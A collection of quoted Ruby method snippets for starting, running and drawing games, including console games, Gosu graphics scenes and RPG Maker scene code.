"def run\n Interface::header\n Interface::newline\n\n count = get_number_of_players\n get_player_names( count )\n\n @b.play_game\n end",
"def main\r\n welcome\r\n process_cmd_line\r\n top_up_players\r\n\r\n play_game\r\n\r\n rescue Interrupt\r\n puts\r\n end",
"def main\n create_graphics\n curr_scene = $scene\n check_up\n while @running && curr_scene == $scene\n Graphics.update\n update\n end\n dispose\n # Unload title related pictures\n RPG::Cache.load_title(true)\n RPG::Cache.load_interface(true)\n ::Scheduler.start(:on_scene_switch, ::Scene_Title) if !@running && $scene.is_a?(Scene_Map)\n end",
"def run\n game = Game.new\n game.game_start\nend",
"def start_a_game\n jeopardy_board\n play_game\nend",
"def play\n\t\tgame_loop\n\tend",
"def main()\n name_game(\"Lincoln\")\nend",
"def game_start\n game_setup\n @console_delegate.show\n end",
"def setup\n super\n @background = Image['Bg level1.png']\n viewport.lag = 0\n viewport.game_area = [0, 0, 3000, 1000]\n @gilbert = Gilbert.create(x: 50, y: 900, limited: viewport.game_area.width)\n @level = File.join(ROOT, 'levels', self.filename + '.yml')\n load_game_objects(file: @level)\n\n @plataformas = Plataforma2.all\n @music = Song.new('media/Songs/Music Level1.mp3')\n @loser_song = Song.new('media/Songs/gameover.ogg')\n\n @moneda = Moneda.all.first\n\n @meta_on = false\n\n @marco_name = Image['MarcoName.png']\n @marco_score = Image['MarcoPoint.png']\n\n @score = 0\n @msj_name = Chingu::Text.new(@player_name, x: 85, y: 25, size: 30, color: Gosu::Color::WHITE)\n @msj_score = Chingu::Text.new(@score.to_s, x: $window.width - 130, y: 30, size: 35)\n @mensaje = Chingu::Text.new('Has encontrado todas las monedas', x: 320, y: 20, size: 25, color: Gosu::Color::GREEN)\n @mensaje2 = Chingu::Text.new('Encuentra la Meta', x: @msj_name.x, y: 45, size: 30, color: Gosu::Color::YELLOW)\n\n @music.play(true) if @sonido\n end",
"def perform\n\tgame_menu\n\tgameplay\nend",
"def play_game\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n \r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n \r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n \r\n #Call on the \r\n gameCount = game_count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n \r\n end",
"def start_game\n begin\n @game_text.intro\n\n # Run the tutorial\n ActionDirector.new(@world, @player).call({command: :talk, target: :jerry})\n\n # The main game\n while @player.alive? && @world.has_hostiles?\n @player.in_battle? ? battle_loop : game_loop\n end\n\n @player.alive? ? @player.win : @player.defeat\n rescue SystemExit, Interrupt # Catpure ctrl+c exit, end gracefully\n @game_text.exit\n end\n end",
"def draw\n @background_image.draw 0, 0, ZOrder::BACKGROUND\n case @game_settings.current_screen\n when \"start\"\n start_screen\n when \"levels\"\n levels_screen\n when \"gameover\"\n game_over_screen\n when \"game\"\n @deck.deal_cards! @playing_cards\n\n if @game_settings.is_cpu_player_enabled\n @subtitle_font.draw_text \"Computer:\", 645, 215, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n @subtitle_font.draw_text \"Score : #{@computer_signal.score}\", 645, 245, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n\n # Computer messages\n if @true_mes\n @subtitle_font.draw_text \"I found a set!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n if @computer_signal.score > @p1.score\n @subtitle_font.draw_text \"#{@computer_signal.mean_msg}\", 645, 305, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n end\n\n @subtitle_font.draw_text \"Still trying!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @trying_mes\n\n @subtitle_font.draw_text \"Oops not a set!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @false_mes\n\n # Creates players if need be.\n if !@players_created\n @p1 = Player.new 1 if @game_settings.p1_init\n @p2 = Player.new 2 if @game_settings.p2_init\n @players_created = true\n end\n\n Gosu.draw_rect 640,0,280,480,Gosu::Color::GRAY,ZOrder::UI\n\n @subtitle_font.draw_text \"Player 1 Statistics:\", 645, 0, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n if @p1.set_times.length > 0\n \t@subtitle_font.draw_text \"Fastest time to find a set: #{@p1.set_times.at 0}\", 645, 30, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t@subtitle_font.draw_text \"Slowest time to find a set: #{@p1.set_times.at -1}\", 645, 60, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t@subtitle_font.draw_text \"Average time to find a set: #{@p1.time_sum / @p1.set_times.length}\", 645, 90, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n else\n \t@subtitle_font.draw_text \"No sets found yet\", 645, 30, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n @subtitle_font.draw_text \"Hints used: #{@p1.hints_used}\", 645, 120, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @game_settings.are_hints_enabled\n @subtitle_font.draw_text \"Score: #{@p1.score}\", 645, 150, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n @subtitle_font.draw_text \"Total Game Time: #{@game_timer.current}\", 645, 490, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \n if @game_settings.p2_init\n @subtitle_font.draw_text \"Player 2 Statistics:\", 645, 280, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \tif @p2.set_times.length > 0\n \t @subtitle_font.draw_text \"Fastest time to find a set: #{@p2.set_times.at 0}\", 645, 310, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t @subtitle_font.draw_text \"Slowest time to find a set: #{@p2.set_times.at -1}\", 645, 340, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t @subtitle_font.draw_text \"Average time to find a set: #{@p2.time_sum / @p2.set_times.length}\", 645, 370, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \telse\n \t @subtitle_font.draw_text \"No sets found yet\", 645, 310, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \tend\n \t@subtitle_font.draw_text \"Score: #{@p2.score}\", 645, 430, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n\n num_cols = @playing_cards.length / 3\n count, x_offset, y_offset, x_between, y_between = 0, 5, 35, 90, 135\n (0...3).each do |row|\n (0...num_cols).each do |col|\n @playing_cards[count].image.draw(x_offset + x_between*col, y_offset + y_between*row, ZOrder::CARDS, 0.15, 0.15)\n count += 1\n end\n end\n\n # Prints out hints\n @hint.each do |card_index|\n # initial card corner values.\n left_x ,right_x, top_y, bottom_y = 5, 85, 40, 160\n\n # Highlight for hints\n draw_rect left_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),80,10,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect left_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),10,130,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect left_x + x_between*(card_index % num_cols), bottom_y + y_between*(card_index / num_cols),80,10,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect right_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),10,130,Gosu::Color::BLACK,ZOrder::CARDS\n end\n\n #TO MOVE RECTANGLE:\n # X POSITION = @currentCardIndex % numCols\n # Y POSITION = @currentCardIndex / numCols\n if @game_settings.p1_init\n x_movement = x_offset + (x_between/2.4) + x_between*(@p1.current_card_index % num_cols)\n y_movement = y_offset + (y_between/2) + y_between*(@p1.current_card_index / num_cols)\n\n # Draws current position\n draw_rect x_movement, y_movement, 20, 20, Gosu::Color::CYAN,ZOrder::CARDS\n\n # Draws current selected values\n @p1.chosen_cards_indexes.each {|index| draw_rect(x_offset + (x_between/2.4) + (x_between)*(index % num_cols), y_offset + (y_between/2) + y_between*(index / num_cols), 20, 20, Gosu::Color::CYAN, ZOrder::CARDS)}\n end\n if @game_settings.p2_init\n x_movement = x_offset + (x_between/2.4) + x_between*(@p2.current_card_index % num_cols)\n y_movement = (y_between/2) + y_between*(@p2.current_card_index / num_cols)\n\n # Draws current position\n draw_rect x_movement, y_movement, 20, 20, Gosu::Color::FUCHSIA, ZOrder::CARDS\n\n # Draws current selected values\n @p2.chosen_cards_indexes.each {|index| draw_rect(x_offset + (x_between/2.4) + (x_between)*(index % num_cols), (y_between/2) + y_between*(index / num_cols), 20, 20, Gosu::Color::FUCHSIA, ZOrder::CARDS)}\n end\n end\n end",
"def play\n init_player()\n init_board()\n puts \"Test game play\"\n end",
"def run_script\n\tgame = GameController.new\n\tsystem \"clear\"\n\tputs GameController.welcome_message.blue\n\tsleep 2\n\tsystem \"clear\"\n\t# puts GameController.bulletin_board\n\tgame.array_of_teams\n\tgame.choose_team\n\tgame.favorite_team\n\tgame.favorite_team_id\n\tgame.random_rival\n\tgame.get_rival_id\n\t\nend",
"def initialize(testmode)\n super(FRAME_WIDTH, FRAME_HEIGHT, false)\n self.caption = \"Shoota\"\n @state = :in_game\n \n #@gl_background = GLBackground.new(self)\n #@background_image = Gosu::Image.new(self, \"media/Space.png\", true)\n \n # Lists of sprites elements\n @bullets = []\n @e_bullets = []\n @ennemies = []\n @bonuses = []\n @particles = []\n \n # Launch player\n @player = Player.new(self, FRAME_WIDTH/2, 4.0/5.0*FRAME_HEIGHT)\n \n # Create Waves generator\n if testmode\n @w_generator = Wave_Generator_Test.new self\n else\n @w_generator = Wave_Generator.new self\n end\n\n @finished = false\n \n # Fonts for textual elements\n @font = Gosu::Font.new(self, Gosu::default_font_name, 20)\n @big_font = Gosu::Font.new(self, Gosu::default_font_name, 52)\n \n # other constants\n # TODO use Image.from_text() instead\n @GAME_OVER_X = (FRAME_WIDTH - @big_font.text_width(\"GAME OVER\"))/2.0\n @GAME_OVER_Y = (FRAME_HEIGHT - @big_font.text_width(\"GAME OVER\")/9.0)/2.0\n @THE_END_X = (FRAME_WIDTH - @big_font.text_width(\"THE END\"))/2.0\n @THE_END_Y = (FRAME_HEIGHT - @big_font.text_width(\"THE END\")/9.0)/2.0\n \n end",
"def main\n # Creation partie\n my_game = Game.new\n my_game.initialize_game\n\n # Creation du board\n my_board = Board.new\n\n # Creation des cases du jeu (vide)\n 1.upto(9) { |id| my_board.add_case(BoardCase.new(id)) }\n\n # Creation des joueurs\n print 'Nom du joueur 1 : '\n player1 = Player.new(gets.chomp.to_s, 1)\n print 'Nom du joueur 2 : '\n player2 = Player.new(gets.chomp.to_s, 2)\n my_board.display_board\n # Boucle du jeu\n game_turn(my_game, player1, player2, my_board)\nend",
"def start\r\n\t\t\t@output.puts \"Welcome to Deal or No Deal!\"\r\n\t\t\t@output.puts \"Designed by: #{created_by}\"\r\n\t\t\t@output.puts \"StudentID: #{student_id}\"\r\n\t\t\t@output.puts \"Starting game...\"\r\n\t\tend",
"def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n\r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n\r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n\r\n #CAll on the method responsible for ingrementing the game count\r\n game_Count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n\r\n end",
"def game_start\n opening\n first_menu\n end",
"def initialize\n @game_settings = GameSettings.new\n super 920, 480\n self.caption = GAME_TITLE\n @settings_hovered = Options::START_SCREEN[0]\n @title_font, @subtitle_font = Gosu::Font.new(50), Gosu::Font.new(20)\n @background_image = Gosu::Image.new(\"media/background1.jpg\", :tileable => true)\n @blank_card = Gosu::Image.new(\"media/card.png\", :tileable => true)\n @button_option = Gosu::Image.new(\"media/button.png\", :tileable => true)\n @deck = Deck.new\n @playing_cards = Array.new\n @computer_signal = ComputerTimer.new\n @players_created, @mes, @false_mes, @true_mes, @trying_mes = false, false, false, false, false\n @hint = []\n #players\n @pressed, @p1, @p2 = nil, nil, nil\n @game_timer = Timers.new\n end",
"def startGame\n\tif !$running\n\t\t$gui.hide_info()\n\t\t$gui.hide_scored()\n\t\t$p1.reset_position()\n\t\t$p2.reset_position()\n\t\t$ball.reset_position()\n\t\t$ball.start()\n\t\t$running = true\n\tend\nend",
"def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end",
"def loadGame()\n\nend",
"def game_engine\n\t\tif @ai_on == true\n\t\t\tgame_with_ai\n\t\telse\n\t\t\t@player_two = 'black'\n\t\t\tgame_with_two_players\n\t\tend\n\t\tannounce_winner\n\t\tend_of_game\n\tend",
"def draw\n # gl will execute the given block in a clean OpenGL environment, then reset\n # everything so Gosu's rendering can take place again.\n \n #gl do\n # glClearColor(0.0, 0.2, 0.5, 1.0)\n # glClearDepth(0)\n # glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n # \n # @gl_background.exec_gl\n #end\n #@background_image.draw(0, 0, ZOrder::Background)\n \n @bullets.each { |o| o.draw }\n @e_bullets.each { |o| o.draw }\n @ennemies.each{|e| e.draw}\n @bonuses.each{|b| b.draw}\n @particles.each{|p| p.draw}\n \n @player.draw\n \n # TODO externalize UI methods\n # Score\n @font.draw(\"Score: #{@player.score}\", 10, 10, ZOrder::UI, 1.0, 1.0, 0xffffff00)\n # Player's lives count\n @font.draw(\"LIVES: #{(@player.lives > -1)? @player.lives : \"GAME OVER\"}\", 10, 30, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n # Current level\n @font.draw(\"LEVEL: #{@w_generator.current_level}\", 10, 50, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n \n # Pause label\n if @state == :paused\n @big_font.draw(\" PAUSE \", @GAME_OVER_X, @GAME_OVER_Y, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n end\n # Game Over label\n if @player.lives < 0\n @big_font.draw(\"GAME OVER\", @GAME_OVER_X, @GAME_OVER_Y, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n end\n # End game label\n if @finished\n @big_font.draw(\"THE END\", @GAME_OVER_X, @GAME_OVER_Y, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n end\n end",
"def draw_main_menu_presenter(window, state)\n # background\n window.draw_rect(0, 0, window.width, window.height, Gosu::Color.argb(DARK_GRAY_COLOR))\n\n # Game Title\n heading_font = Gosu::Font.new(80, options = {name: 'assets/fonts/hahmlet_font.ttf'})\n heading_width = heading_font.text_width(GAME_NAME.upcase)\n heading_font.draw_text(GAME_NAME.upcase, # Text\n (window.width - heading_width) / 2, # draw x\n 70, # draw y\n 1, # draw z\n 1, # scale x\n 1, # scale y\n Gosu::Color.argb(LIGHT_GREEN_COLOR)) # color\n\n\n # buttons\n draw_button(window, '?'.encode('utf-8'), state[:buttons][:how_to], MAIN_MENU_BUTTON_BORDER, 20)\n draw_button(window, 'Depth-first', state[:buttons][:depth_first], MAIN_MENU_BUTTON_BORDER, 25)\n draw_button(window, 'Iterative Division', state[:buttons][:iterative_division], MAIN_MENU_BUTTON_BORDER, 25)\n draw_button(window, 'Quit', state[:buttons][:quit], MAIN_MENU_BUTTON_BORDER, 25)\n\nend",
"def main_loop\n# Set up the objects the main loop will\n# need.\n\n# The screen is the window displayed on the\n# screen.\nscreen = Screen.new [640, 480]\n\n# The event queue handles events from the\n# operating system\nqueue = EventQueue.new\n\n# The clock limits the framerate to 30fps\nclock = Clock.new\nclock.target_framerate = 30\n\n# This is the infinite main loop\nloop do\n# Pause the program for a short amount of\n# time so it doesn't exceed 30fps\nclock.tick\n\n# Process all events, return if the window\n# was closed\nqueue.each do|e|\nreturn if e.is_a? QuitEvent\nend\n\n# Fill the screen with a grey color and\n# display it on the monitor\nscreen.fill [200, 200, 200]\nscreen.update\nend\n\nensure\nRubygame.quit\nend",
"def start\n # start a new game using @config\n end",
"def main\n\t\tstart\n\t\twhile self == SceneManager.scene\n\t\t\tGraphics.update\n\t\t\tController.keyboard.update\n\t\t\tupdate\n\t\t\tController.wait_next_frame\n\t\tend\n\t\tterminate\n\tend",
"def play_full_game\n Display.clear_screen\n Display.draw_board(@cur_board, @player_white, @player_black)\n Display.game_start_ui\n fast_forward(@data[\"moves\"].keys[-1], true)\n Display.draw_board(@cur_board, @player_white, @player_black)\n Display.game_end_ui(determine_winner)\n end",
"def initialize(name1)\r\n @player1=Player1.new(name1)\r\n @grid=Grid.new()\r\n @grid.pretty_print\r\n puts \"\\nYour game is ready!!!\\n\\n\"\r\n game \r\nend",
"def game_start\n\n\tclear_screen\n\n\tprint_paragraph(\"Welcome to Trapped In A Cave.\\nGuess what? You're trapped in a cave...\nCan you make it out alive?\\n(For a list of commands type help at anytime.)\")\n\nstart_room\n\nend",
"def initialize(save_file=nil)\n super()\n\n @tiles = Gosu::Image.load_tiles(\n RES_DIR.join(\"tiled-icons-16x16.png\").to_s, \n 16, 16,\n retro: true)\n\n @letters = Gosu::Image.load_tiles(\n RES_DIR.join(\"tiled-font-8x16.png\").to_s,\n 8, 16,\n retro: true)\n\n @tile_scale = Size[2,2]\n @grid_size = Size[32,32]\n @map_size = Size[25,19]\n @window = Window.new(size: Size[800,608])\n @window.on_input= self.method(:on_input)\n @window.on_update= self.method(:on_update)\n @window.on_draw= self.method(:on_draw)\n\n @prng = Random.new\n\n sword = {\n tile_index: 5,\n card_type: :weapon,\n description: \"sword\",\n cooldown: 3,\n cooldown_timer: -1\n }\n\n magic_missile = {\n tile_index: 6,\n card_type: :spell,\n description: \"magic missile\",\n contamination: 3,\n }\n\n meat = {\n tile_index: 4,\n card_type: :item,\n description: \"hunk of meat\",\n }\n\n @player = { \n name: \"Player\",\n tile_index: 0,\n action: nil,\n position: Point[1,1],\n movement: nil,\n card_state: {\n contaminated: true,\n weapon: sword,\n spell: magic_missile,\n item: meat,\n deck: [],\n }\n }\n\n goblin = {\n name: \"Goblin\",\n tile_index: 1,\n action: nil,\n position: Point[3,3],\n movement: nil,\n ai_method: :goblin_ai,\n }\n\n walls = Bitmap.new(MAP_SIZE).from_s(WALLS).active_coords.map do |pt|\n {\n tile_index: 2,\n position: pt,\n obstructing: true\n }\n end\n\n @movement = [@player, goblin]\n @with_cards = [@player]\n @ai_method = [goblin]\n @action = [@player, goblin]\n @visible = [@player, goblin, *walls]\n\n @map = {\n size: Size[20,20],\n index: {\n @player[:position] => [@player],\n goblin[:position] => [ goblin],\n },\n }\n\n @map[:index].default_proc = Proc.new do |hash, key|\n hash[key]= []\n end\n\n walls.each do |entity|\n pos = entity[:position]\n @map[:index][pos] << entity\n end\n end",
"def start_game\n @new_prompt.title_screen\n @new_commands.create_new_board(5)\n select_mode\n end",
"def play\n board_setup\n gameplay_setup\n end",
"def new_game!\n write_to_engine('ucinewgame')\n reset_board!\n set_startpos!\n @fen = nil\n end",
"def start\r\n initialize_game\r\n until @game.over?\r\n take_turn\r\n end\r\n print_outcome\r\n end",
"def start\n puts \"Welcome to Tic Tac Toe!\"\n puts \"\"\n define_players\n play\n end",
"def start_new_game\n # TODO: increment stats\n # stats = GameStats.new\n # stats.game_number += 1\n\n # create new player\n\n\n # print New game text\n new_game_banner = File.read('./old_code/fancy_text/new_game.txt')\n puts new_game_banner\n\n # display into story\n puts display_intro(@player_one.name)\n\n # auto load stage 1\n require './lib/stage'\n Stage.new(1, 5, @player_one)\n end",
"def run\n welcome\n main_menu_selection #choose to create a character or login to pre-existing character\n player_options #a list of options the selected player from 'selection_menu' can accomplish\nend",
"def game_mode; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def start_game\n Board.new 10, 10\n end",
"def play\n $game.surface.+$game.white.get('Ant')\n $game.surface.+$game.black.get('Beetle')\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]), Side::Face[:bottom_left])\n #$game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:bottom_left])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Queen'), $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Queen'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Spider'), $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]), Side::Face[:bottom_center])\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).move(Hive::Color[:black], Bug::Type[:beetle1], Side::Face[:bottom_left])\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).move(Hive::Color[:black], Bug::Type[:queen1], Side::Face[:bottom_center])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_center])\n \n # Try putting a $game.list_moves after any move directive\n\n puts \"\\n\\n=====PROOF SECTION=======================\"\n $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper3]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]).describe\n \n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:spider1]).describe\n end",
"def start\n super\n if VICTORY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(VICTORY_CONFIG::IMAGE_BG)\n @bg.opacity = VICTORY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 0, 640, 56, Vocab::victory_help_text)\n @help_window.cText.align = 1\n @help_window.cText.font.bold = true\n # Refresh for the text alignment\n @help_window.refresh()\n\n if VICTORY_CONFIG::DIVIDE_EXP\n exp_by_actor = (@exp / $game_party.members.size).to_i\n else\n exp_by_actor = @exp\n end\n \n @actor_remaining_exp = []\n @victory_char_info_windows = []\n @victory_new_skill_windows = []\n @victory_level_up_windows = []\n for i in 0 .. $game_party.members.size-1 \n actor_exp = ActorExp.new(exp_by_actor, determine_tick($game_party.members[i].next_exp, exp_by_actor))\n @actor_remaining_exp.push(actor_exp)\n \n if i%2 == 0 \n x = -320\n else\n x = 640\n end\n victory_char_info_window = Window_Victory_Char_Info.new(x, (i/2).to_i*128+168, 320, 128, $game_party.members[i])\n victory_char_info_window.active = false\n @victory_char_info_windows.push(victory_char_info_window)\n\n victory_new_skill_window = Window_Victory_New_Skill.new((i%2)*320, (i/2).to_i*128+168+128-56, 320, 56, nil)\n victory_new_skill_window.active = false\n victory_new_skill_window.visible = false\n @victory_new_skill_windows.push(victory_new_skill_window)\n\n victory_level_up_window = Window_Victory_Level_Up.new((i%2)*320+200, (i/2).to_i*128+168, 120, 56)\n victory_level_up_window.active = false\n victory_level_up_window.visible = false\n victory_level_up_window.opacity = 0\n @victory_level_up_windows.push(victory_level_up_window)\n end\n\n @victory_item_window = Window_Victory_Item.new(160, 488, 320, 256, @drop_items)\n @victory_item_window.active = false\n @victory_item_window.visible = false\n\n @exp_window = Window_Victory_Exp.new(20, 83, 300, 56, @exp)\n @gold_window = Window_Victory_Gold.new(320, 83, 300, 56, @gold)\n\n [@help_window, @victory_item_window, @exp_window, @gold_window]+\n @victory_char_info_windows+@victory_new_skill_windows.each{\n |w| w.opacity = VICTORY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = VICTORY_CONFIG::WINDOW_BACK_OPACITY\n }\n \n end",
"def start\n puts \"Welcome! Let's play Tic-Tac-Toe\"\n print_board\n play\n end",
"def main_sprite ; end",
"def start \n\t @output.puts \"Welcome to Noughts and Crosses!\"\n\t @output.puts \"Created by:#{created_by}\"\n\t @output.puts \"StudentID: #{student_id}\"\n\t @output.puts \"Starting game...\"\n\t @output.puts \"Player 1: 0 and Player 2: 1\"\n\n\t\n\tend",
"def new_game\n set_player\n\n if human_player?\n start_message(:welcome)\n\n set_grid\n puts\n set_bombs\n\n else #non-human\n start_message(:robot_game)\n @robot = Robot.new()\n @grid_size = @robot.grid_size\n @num_bombs = @robot.num_bombs\n end\n @play_again = true\nend",
"def initialize_game\n setup_boards\n end",
"def main_end\r\n # Refresh map\r\n $game_map.refresh\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n # If switching from battle test to any screen other than game over screen\r\n if $BTEST and not $scene.is_a?(Scene_Gameover)\r\n $scene = nil\r\n end\r\n end",
"def main\n include GameStatus\n the_user = User.new\n\n if the_user.prompt_start.downcase.eql? 'y'\n #game continues to begin\n else\n puts(Colors.colorize('Why not tho?', 'cyan_b'))\n exit(0)\n end\n\n Output.print_intro\n the_secret_code = SecretCode.new\n the_user.take_input\n the_user.give_feedback\nend",
"def run\n require_relative File.join(absolute_path, 'main')\n Gamefic::Tty::Engine.run\n end",
"def run_full_game()\n set_max_games()\n name_all_players()\n puts play_through_set_of_games()\n set_determine_set_winner()\n puts overall_winner_message()\n end",
"def game_start\n @computer.choose_word\n @board.create_board(@computer.word.length)\n Screen.clear\n game_loop\n end",
"def initialize\n\n #Graphics.freeze\n\n @closing = false\n @savequit = false\n\n $mouse.change_cursor('Default')\n sys('open')\n\n # Vp\n @vp = Viewport.new(0,0,$game.width,$game.height)\n @vp.z = 3500\n\n @snap = Sprite.new(@vp)\n @snap.z = -101\n @snap.bitmap = $game.snapshot\n\n # Background\n @bg = Sprite.new(@vp)\n @bg.z = -100\n #@bg.bitmap = Bitmap.new(640,480)\n #@bg.bitmap.fill(Color.new(0,0,0,180))\n @bg.bitmap = $cache.menu_background(\"sample\")\n #@bg.bitmap = $cache.menu_background(\"witch\")\n @bg.opacity = 0\n \n #@bg.y = 30\n #@bg.do(seq(go(\"y\",-50,150,:qio),go(\"y\",20,150,:qio)))\n\n #self.do(delay(300))\n\n @next_menu = $menu.menu_page\n $menu.menu_page = nil\n\n @menu = nil\n\n #Graphics.transition(20,'Graphics/Transitions/trans') \n\n end",
"def show_start_game(game)\n puts \"#{game.player1.name} is: #{game.player1.identity}\"\n puts \"#{game.player2.name} is: #{game.player2.identity}\"\n puts 'TIC TAC TOE.. start!'\nend",
"def main_loop\r\n Graphics.update # Update game screen\r\n Input.update # Update input information\r\n main_update # Update scene objects\r\n update # Update Processing\r\n end",
"def start_game\n # Infinite loop\n while\n # Draw the board on the terminal\n @board.print_board\n # Ask the player to choose where to draw the symbol\n @active_player.choose_spot\n # Check if the current player won\n if @board.check_win(@active_player.player_symbol)\n @board.print_board\n puts 'Has ganado'\n @active_player.victory\n # Ask if the player wants to play again\n play_again\n # If not, the loop is broken\n break\n else\n # Check if there is a draw\n if @board.check_draw\n puts 'Empate'\n play_again\n break\n end\n # If there isn't a draw the game switch the current player\n switch_player\n end\n end\n end",
"def game_setup\n cls\n print \"----------------\\n\"\n print \"Cinnabar - A Game Of Rocks and Minerals\\n\"\n print \"----------------\\n\\n\"\n\n print \"DISCLAIMER\\n\"\n print \" Cinnabar (c) 1966, 1972, 1980 is a trademark of Naturegraph Publishers, Inc.\\n\"\n print \" No copyright or trademark infringement is intended in using Cinnabar.\\n\\n\"\n\n print \"Welcome to Cinnabar, a digital version of the 1966 card game by Vinson Brown.\\n\"\n print \"Rules can be found in RULES.md, and info can be found in README.md.\\n\"\n print \"Source code can be found at https://www.github.com/Pokeconomist/cinnabar.\\n\\n\"\n end",
"def start()\r\n\t\t\t@output.puts(\"Welcome to Mastermind!\")\r\n\t\t\t@output.puts(\"Created by: #{created_by} (#{student_id})\")\r\n\t\t\t@output.puts(\"Starting game...\")\r\n\t\t\t@output.puts('Enter \"1\" to run the game in the command-line window or \"2\" to run it in a web browser')\r\n\t\tend",
"def play\n \n end",
"def new_game\n # Start again!\n puts \"\\n\\n\"\n\t\n\t# Clears output from last game\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\n \n puts \"Beginning new game:\"\n puts \"\"\n start\nend",
"def start_game\n puts \"----- WELCOME TO twO-O-Player MATH GAME! -----\"\n puts \"#{@player1.name} vs #{@player2.name} 🥊 Game on!\\n\\n\"\n end",
"def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend",
"def run\n puts \"Welcome to Command-Line-Chess!\"\n @players = set_players\n\n winner = play_game\n \n print_board\n puts \"Congratulations #{winner.name}! You have won the game.\"\n end",
"def start_game(game_config)\n # start a new game\nend",
